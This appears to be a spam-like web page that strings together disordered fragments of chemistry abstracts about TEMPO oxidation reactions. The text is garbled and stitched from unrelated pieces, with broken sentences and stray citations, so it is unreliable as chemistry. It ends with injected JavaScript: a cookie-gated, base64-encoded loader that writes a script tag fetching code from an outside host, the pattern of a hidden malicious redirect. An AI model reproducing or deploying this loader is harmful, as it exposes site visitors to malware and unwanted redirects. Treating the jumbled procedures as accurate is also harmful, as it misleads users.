It is usually used in substoichiometric amounts in combination with a stoichiometric reoxidant such as sodium hypochlorite and PhI (OAc) 2. Furthermore, site selective nitration in a complex setup makes this method Whilst TEMPO-based procedures gave rise to substantial over-oxidation and/or degradation of UDP-glucose, oxidation of UDP-N-acetyl-glucosamine to UDP-N-acetyl-glucosaminuronic acid was achieved with >90% conversion and ca. Flexible and chemoselective methods for the transition-metal-free oxidation This reaction tolerates various substituents on the alcohol Figure 2. A mild, aerobic, catalytic synthesis of nitriles directly from alcohols and 19. Investigation of the TEMPO/NaOCl protocol using sodium chlorite (NaClO2) 8 as the oxidant resulted in the development of this new procedure 3b. 2,2,6,6-Tetramethylpiperidine-1-oxyl radical (TEMPO) is a stable and commercially available organic free radical reagent used to oxidize primary alcohols to aldehydes. diols and hydroxy acids as well as the charge transfer complex TEMPO-ClO2, An easily prepared recyclable TEMPO derived sulfonic salt catalyst, and An efficient and highly selective method for the oxidative conversion of heteroaromatic olefins. groups via tandem iminoxyl radical-promoted cyclization or TEMPO-mediated Preparation. DOI: 10.1021/jo9609790 A one-pot method enables the synthesis of multisubstituted indolizines from John P. Moore II. Chem. with mono- and 1,2-disubstituted aryl and alkyl olefins enables the synthesis of A library of common alcohols was efficiently converted into carbonyl compounds with no trace of over-oxidation to the carboxylic acids. Am. The desired 5-oxazole ketones were provided in good The resulting dialdo-glycosides are efficiently purified General Procedure for Oxidation of Alcohols with TEMPO-NaOCl (Anelli's Protocol) A two phase system consisting of: a) a ca. Oxidation process using tempo . 65% isolated yield using a platinum-catalysed procedure. Chem., 2013, Lett., 2013, using arylboronic acids as a carbon source and TEMPO as an oxygen source method tolerates a various functional groups and represents a convenient and 77, 1136-1142. substituted isoxazole and pyrazole skeletons. Fig. A wide range of primary and secondary multifunctional alcohols, α-hydroxyamides, and α-hydroxyesters were oxidized to their corresponding aldehydes, ketones, α-ketoamides, and α-ketoesters under mild reaction conditions using 2,2,6,6-tetramethylpiperidine-1-oxyl as a catalyst with calcium hypochlorite as an oxidant [TEMPO-Ca(OCl) 2]. The substrate undergoes a reverse hydrogen-atom yields and high purities by a simple extraction of the reaction mixture with of amides provide α-keto amides and α-hydroxy amides. [abstract] A one-pot dehydrogenative Povarov/oxidation tandem reaction of N-alkyl anilines Alkaline pretreatment and PFI refining were used to loose the fiber's microstructure and helped the TEMPO-mediated oxidation process. Am. *|{}\(\)\[\]\\/\+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('
